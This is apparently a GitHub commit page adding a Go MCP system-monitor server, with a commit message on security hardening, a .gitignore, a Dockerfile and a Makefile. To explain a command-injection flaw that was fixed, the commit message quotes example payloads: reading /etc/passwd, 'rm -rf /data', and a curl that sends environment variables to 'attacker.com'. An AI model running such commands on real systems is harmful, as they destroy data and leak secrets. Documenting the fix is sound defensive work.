Skip to content

Commit c7330e0

Browse files
system-monitor-server go mcp server (#977)
* system-monitor-server go mcp server Signed-off-by: irapandey <[email protected]> * fix: Security hardening for system-monitor-server Security improvements: - Remove compiled binary from repository (11MB) - Add .gitignore for Go binaries to prevent future commits - Fix path traversal vulnerability via symlink resolution - Add ReDoS protection for user-provided regex patterns - Enforce file size limits before reading to prevent memory exhaustion - Remove /tmp from default allowed paths (security risk) - Add security documentation to configuration files Path traversal fix: - Use filepath.EvalSymlinks() to resolve symlinks before validation - Prevents attacks where /var/log/evil -> /etc/passwd - Add directory separator checks to prevent partial path matches ReDoS protection: - Limit regex pattern length to 1000 characters - Detect dangerous nested quantifiers ((a+)+, (a*)*, etc.) - Validate patterns before compilation Memory protection: - Check file size BEFORE reading to prevent exhaustion - Limit scanner buffer to 10MB per line - Enforce maxFileSize configuration Configuration hardening: - Remove /tmp and ./logs from default allowed paths - Only /var/log remains as secure default - Add comments explaining security rationale - Provide safe customization examples * test: Update tests for security hardening changes Update tests to validate the security improvements: - config_test.go: Expect only /var/log in allowed paths (not /tmp or ./logs) - main_test.go: Convert to security validation tests that verify /tmp access is denied - log_monitor.go: Fix MinSize filter to only apply to files, not directories These changes ensure tests validate the security hardening rather than expecting the insecure behavior. * CRITICAL: Fix command injection vulnerability in health checker SECURITY VULNERABILITY FIXED: The check_service_health tool allowed arbitrary command execution via the "command" service type. An attacker with access to the MCP server could execute ANY system command: - Read sensitive files: {"type":"command","target":"cat /etc/passwd"} - Delete files: {"type":"command","target":"rm -rf /data"} - Exfiltrate secrets: {"type":"command","target":"curl attacker.com?data=$(env)"} - Install malware, create backdoors, etc. CHANGES: - Disabled command type execution entirely - Updated checkCommandService() to return "unsupported" status - Removed os/exec import - Updated documentation to reflect command type is disabled - Updated all tests to expect "unsupported" status - Added security comments explaining the vulnerability Users should use the list_processes tool instead to check process status. This was marked as ReadOnlyHintAnnotation(true) and DestructiveHintAnnotation(false) which was completely incorrect. * feat: align build system and add root path security restriction Align system-monitor-server with fast-time-server reference implementation and add chroot-like root directory restriction for enhanced security. Build System Improvements: - Restructure Makefile following fast-time-server conventions - Add dynamic help system with emoji section headers - Add version injection via LDFLAGS - Add multiple run modes (stdio, http, sse, dual, rest) - Add MCP tool testing targets (test-metrics, test-processes, test-health) - Add comprehensive quality checks (fmt, vet, lint, staticcheck, security) - Add benchmarking and performance testing targets - Update .gitignore to include dist/ and coverage/ directories - Add staticcheck.conf for static analysis configuration Security Enhancements: - Add root_path configuration for chroot-like file access restriction - Enforce root boundary BEFORE allowed_paths checks (defense in depth) - Root restriction prevents access outside configured directory tree - Backward compatible: empty root_path maintains existing behavior - Add comprehensive tests for root path validation Documentation: - Rewrite README.md following fast-time-server style - Add Root Directory Restriction security section - Update configuration examples with root_path - Improve Quick Start and Development sections - Add cross-compilation instructions - Document all security features comprehensively Configuration: - Add security.root_path setting to config.yaml - Document production recommendation for root restriction - Update security comments for clarity Testing: - Add TestLogMonitorRootPathRestriction with comprehensive coverage - Update all NewLogMonitor calls to include root_path parameter - All tests passing (4 packages, 50+ tests) Signed-off-by: Mihai Criveti <[email protected]> --------- Signed-off-by: irapandey <[email protected]> Signed-off-by: Mihai Criveti <[email protected]> Co-authored-by: Mihai Criveti <[email protected]>
1 parent ae444a6 commit c7330e0

File tree

23 files changed

+6791
-0
lines changed

23 files changed

+6791
-0
lines changed
Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
# Binaries for programs and plugins
2+
*.exe
3+
*.exe~
4+
*.dll
5+
*.so
6+
*.dylib
7+
8+
# Test binary, built with `go test -c`
9+
*.test
10+
11+
# Output of the go coverage tool
12+
*.out
13+
14+
# Go build artifacts
15+
system-monitor-server
16+
*.bin
17+
dist/
18+
coverage/
19+
coverage.html
20+
21+
# Dependency directories
22+
vendor/
23+
24+
# IDE files
25+
.idea/
26+
.vscode/
27+
*.swp
28+
*.swo
29+
*~
30+
31+
# OS files
32+
.DS_Store
33+
Thumbs.db
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
# Multi-stage build for system-monitor-server
2+
FROM golang:1.21-alpine AS builder
3+
4+
# Install build dependencies
5+
RUN apk add --no-cache git ca-certificates tzdata
6+
7+
# Set working directory
8+
WORKDIR /app
9+
10+
# Copy go mod files
11+
COPY go.mod go.sum ./
12+
13+
# Download dependencies
14+
RUN go mod download
15+
16+
# Copy source code
17+
COPY . .
18+
19+
# Build the application
20+
RUN CGO_ENABLED=0 GOOS=linux go build -a -installsuffix cgo -o system-monitor-server ./cmd/server
21+
22+
# Final stage
23+
FROM alpine:latest
24+
25+
# Install runtime dependencies
26+
RUN apk --no-cache add ca-certificates tzdata
27+
28+
# Create non-root user
29+
RUN addgroup -g 1001 -S appgroup && \
30+
adduser -u 1001 -S appuser -G appgroup
31+
32+
# Set working directory
33+
WORKDIR /app
34+
35+
# Copy binary from builder stage
36+
COPY --from=builder /app/system-monitor-server .
37+
38+
# Copy configuration file
39+
COPY --from=builder /app/config.yaml .
40+
41+
# Create logs directory
42+
RUN mkdir -p /app/logs && chown -R appuser:appgroup /app
43+
44+
# Switch to non-root user
45+
USER appuser
46+
47+
# Expose port
48+
EXPOSE 8080
49+
50+
# Health check
51+
HEALTHCHECK --interval=30s --timeout=10s --start-period=5s --retries=3 \
52+
CMD wget --no-verbose --tries=1 --spider http://localhost:8080/health || exit 1
53+
54+
# Default command
55+
CMD ["./system-monitor-server", "-transport=http", "-port=8080", "-log-level=info"]
Lines changed: 253 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,253 @@
1+
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
2+
# 🖥️ SYSTEM-MONITOR-SERVER - Makefile
3+
# (multi-package Go project with internal/, cmd/, pkg/ structure)
4+
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
5+
#
6+
# Author : Mihai Criveti
7+
# Usage : make <target> or just `make help`
8+
#
9+
# help: 🖥️ SYSTEM-MONITOR-SERVER (Go build & automation helpers)
10+
# ─────────────────────────────────────────────────────────────────────────
11+
12+
# =============================================================================
13+
# 📖 DYNAMIC HELP
14+
# =============================================================================
15+
.PHONY: help
16+
help:
17+
@grep '^# help\:' $(firstword $(MAKEFILE_LIST)) | sed 's/^# help\: //'
18+
19+
# =============================================================================
20+
# 📦 PROJECT METADATA (variables, colours)
21+
# =============================================================================
22+
MODULE := github.com/IBM/mcp-context-forge/mcp-servers/go/system-monitor-server
23+
BIN_NAME := system-monitor-server
24+
VERSION ?= $(shell git describe --tags --dirty --always 2>/dev/null || echo "v0.0.0-dev")
25+
26+
DIST_DIR := dist
27+
COVERPROFILE := $(DIST_DIR)/coverage.out
28+
COVERHTML := $(DIST_DIR)/coverage.html
29+
30+
GO ?= go
31+
GOOS ?= $(shell $(GO) env GOOS)
32+
GOARCH ?= $(shell $(GO) env GOARCH)
33+
34+
LDFLAGS := -s -w -X 'main.appVersion=$(VERSION)'
35+
36+
ifeq ($(shell test -t 1 && echo tty),tty)
37+
C_BLUE := \033[38;5;75m
38+
C_RESET := \033[0m
39+
else
40+
C_BLUE :=
41+
C_RESET :=
42+
endif
43+
44+
# =============================================================================
45+
# 🔧 TOOLING
46+
# =============================================================================
47+
# help: 🔧 TOOLING
48+
# help: tools - Install / update golangci-lint & staticcheck
49+
50+
GOBIN := $(shell $(GO) env GOPATH)/bin
51+
52+
tools: $(GOBIN)/golangci-lint $(GOBIN)/staticcheck
53+
$(GOBIN)/golangci-lint: ; @$(GO) install github.com/golangci/golangci-lint/cmd/golangci-lint@latest
54+
$(GOBIN)/staticcheck: ; @$(GO) install honnef.co/go/tools/cmd/staticcheck@latest
55+
56+
# =============================================================================
57+
# 📂 MODULE & FORMAT
58+
# =============================================================================
59+
# help: 📂 MODULE & FORMAT
60+
# help: tidy - go mod tidy + verify
61+
# help: fmt - Run gofmt & goimports
62+
63+
tidy:
64+
@$(GO) mod tidy
65+
@$(GO) mod verify
66+
67+
fmt:
68+
@$(GO) fmt ./...
69+
@go run golang.org/x/tools/cmd/goimports@latest -w .
70+
71+
# =============================================================================
72+
# 🔍 LINTING & STATIC ANALYSIS
73+
# =============================================================================
74+
# help: 🔍 LINTING & STATIC ANALYSIS
75+
# help: vet - go vet
76+
# help: staticcheck - Run staticcheck
77+
# help: lint - Run golangci-lint
78+
# help: pre-commit - Run all configured pre-commit hooks
79+
.PHONY: vet staticcheck lint pre-commit
80+
81+
vet:
82+
@$(GO) vet ./...
83+
84+
staticcheck: tools
85+
@staticcheck ./...
86+
87+
lint: tools
88+
@golangci-lint run
89+
90+
pre-commit: ## Run pre-commit hooks on all files
91+
@command -v pre-commit >/dev/null 2>&1 || { \
92+
echo '✖ pre-commit not installed → pip install --user pre-commit'; exit 1; }
93+
@pre-commit run --all-files --show-diff-on-failure
94+
95+
# =============================================================================
96+
# 🧪 TESTS & COVERAGE
97+
# =============================================================================
98+
# help: 🧪 TESTS & COVERAGE
99+
# help: test - Run unit tests (race)
100+
# help: coverage - Generate HTML coverage report
101+
102+
test:
103+
@$(GO) test -race -timeout=90s ./...
104+
105+
coverage:
106+
@mkdir -p $(DIST_DIR)
107+
@$(GO) test ./... -covermode=count -coverprofile=$(COVERPROFILE)
108+
@$(GO) tool cover -html=$(COVERPROFILE) -o $(COVERHTML)
109+
@echo "$(C_BLUE)HTML coverage → $(COVERHTML)$(C_RESET)"
110+
111+
# =============================================================================
112+
# 🛠 BUILD & RUN
113+
# =============================================================================
114+
# help: 🛠 BUILD & RUN
115+
# help: build - Build binary into ./dist
116+
# help: install - go install into GOPATH/bin
117+
# help: release - Cross-compile (honours GOOS/GOARCH)
118+
# help: run - Build then run (stdio transport)
119+
# help: run-stdio - Alias for "run"
120+
# help: run-http - Run HTTP transport on :8080 (POST JSON-RPC)
121+
# help: run-sse - Run SSE transport on :8080 (/sse, /messages)
122+
# help: run-dual - Run BOTH SSE & HTTP on :8080 (/sse, /messages, /http)
123+
# help: run-rest - Run REST API on :8080 (/api/v1/*)
124+
125+
build: tidy
126+
@mkdir -p $(DIST_DIR)
127+
@$(GO) build -trimpath -ldflags '$(LDFLAGS)' -o $(DIST_DIR)/$(BIN_NAME) ./cmd/server
128+
129+
install:
130+
@$(GO) install -trimpath -ldflags '$(LDFLAGS)' ./cmd/server
131+
132+
release:
133+
@mkdir -p $(DIST_DIR)/$(GOOS)-$(GOARCH)
134+
@GOOS=$(GOOS) GOARCH=$(GOARCH) CGO_ENABLED=0 \
135+
$(GO) build -trimpath -ldflags '$(LDFLAGS)' \
136+
-o $(DIST_DIR)/$(GOOS)-$(GOARCH)/$(BIN_NAME) ./cmd/server
137+
138+
# ────── run helpers ────────────────────────────────────────────────────────
139+
run: build
140+
@$(DIST_DIR)/$(BIN_NAME) -transport=stdio -log-level=info
141+
142+
run-stdio: run # simple alias
143+
144+
run-http: build
145+
@$(DIST_DIR)/$(BIN_NAME) -transport=http -port=8080
146+
147+
run-sse: build
148+
@$(DIST_DIR)/$(BIN_NAME) -transport=sse -port=8080
149+
150+
run-dual: build
151+
@$(DIST_DIR)/$(BIN_NAME) -transport=dual -port=8080
152+
153+
run-rest: build
154+
@$(DIST_DIR)/$(BIN_NAME) -transport=rest -port=8080
155+
156+
# =============================================================================
157+
# 🐳 DOCKER
158+
# =============================================================================
159+
# help: 🐳 DOCKER
160+
# help: docker-build - Build container image
161+
# help: docker-run - Run container on :8080 (HTTP transport)
162+
# help: docker-run-sse - Run container on :8080 (SSE transport)
163+
164+
IMAGE ?= $(BIN_NAME):$(VERSION)
165+
166+
docker-build:
167+
@docker build --build-arg VERSION=$(VERSION) -t $(IMAGE) .
168+
@docker images $(IMAGE)
169+
170+
docker-run: docker-build
171+
@docker run --rm -p 8080:8080 $(IMAGE) -transport=http -port=8080
172+
173+
docker-run-sse: docker-build
174+
@docker run --rm -p 8080:8080 $(IMAGE) -transport=sse -port=8080
175+
176+
# =============================================================================
177+
# 📚 MCP TOOLS TESTING
178+
# =============================================================================
179+
# help: 📚 MCP TOOLS
180+
# help: test-metrics - Test get_system_metrics tool
181+
# help: test-processes - Test list_processes tool
182+
# help: test-health - Test check_service_health tool
183+
# help: test-mcp - Test all MCP tools
184+
185+
.PHONY: test-metrics test-processes test-health test-mcp
186+
187+
test-metrics:
188+
@echo "$(C_BLUE)➜ Testing get_system_metrics...$(C_RESET)"
189+
@echo '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"get_system_metrics","arguments":{}},"id":1}' | $(DIST_DIR)/$(BIN_NAME)
190+
191+
test-processes:
192+
@echo "$(C_BLUE)➜ Testing list_processes...$(C_RESET)"
193+
@echo '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"list_processes","arguments":{"sort_by":"cpu","limit":5}},"id":2}' | $(DIST_DIR)/$(BIN_NAME)
194+
195+
test-health:
196+
@echo "$(C_BLUE)➜ Testing check_service_health...$(C_RESET)"
197+
@echo '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"check_service_health","arguments":{"services":[{"name":"local","type":"port","target":"localhost:22"}]}},"id":3}' | $(DIST_DIR)/$(BIN_NAME)
198+
199+
test-mcp: build test-metrics test-processes test-health
200+
@echo "\n$(C_BLUE)✔ MCP Tools Test Complete$(C_RESET)"
201+
202+
# =============================================================================
203+
# 🚀 BENCHMARKING
204+
# =============================================================================
205+
# help: 🚀 BENCHMARKING
206+
# help: bench - Run Go benchmarks
207+
# help: bench-http - Run HTTP load test using 'hey' (run make run-http first)
208+
209+
.PHONY: bench bench-http
210+
211+
bench:
212+
@$(GO) test -bench=. -benchmem ./...
213+
214+
bench-http:
215+
@command -v hey >/dev/null || { echo '"hey" not installed'; exit 1; }
216+
@echo "➜ load-test list_processes via /http"
217+
@hey -m POST -T 'application/json' \
218+
-d '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"list_processes","arguments":{"limit":10}},"id":1}' \
219+
-n 10000 -c 50 http://localhost:8080/
220+
221+
# =============================================================================
222+
# 🔒 SECURITY & QUALITY
223+
# =============================================================================
224+
# help: 🔒 SECURITY & QUALITY
225+
# help: security - Run gosec security scanner
226+
# help: check - Run all checks (fmt, vet, lint, test, security)
227+
228+
.PHONY: security check
229+
230+
security:
231+
@command -v gosec >/dev/null || $(GO) install github.com/securecodewarrior/gosec/v2/cmd/gosec@latest
232+
@gosec -quiet ./...
233+
234+
check: fmt vet lint test security
235+
@echo "$(C_BLUE)✔ All checks passed!$(C_RESET)"
236+
237+
# =============================================================================
238+
# 🧹 CLEANUP
239+
# =============================================================================
240+
# help: 🧹 CLEANUP
241+
# help: clean - Remove build & coverage artefacts
242+
243+
clean:
244+
@rm -rf $(DIST_DIR) $(COVERPROFILE) $(COVERHTML)
245+
@rm -f $(BIN_NAME) coverage.out coverage.html
246+
@rm -rf coverage/
247+
@$(GO) clean
248+
@echo "Workspace clean ✔"
249+
250+
# ---------------------------------------------------------------------------
251+
# Default goal
252+
# ---------------------------------------------------------------------------
253+
.DEFAULT_GOAL := help

0 commit comments

Comments
 (0)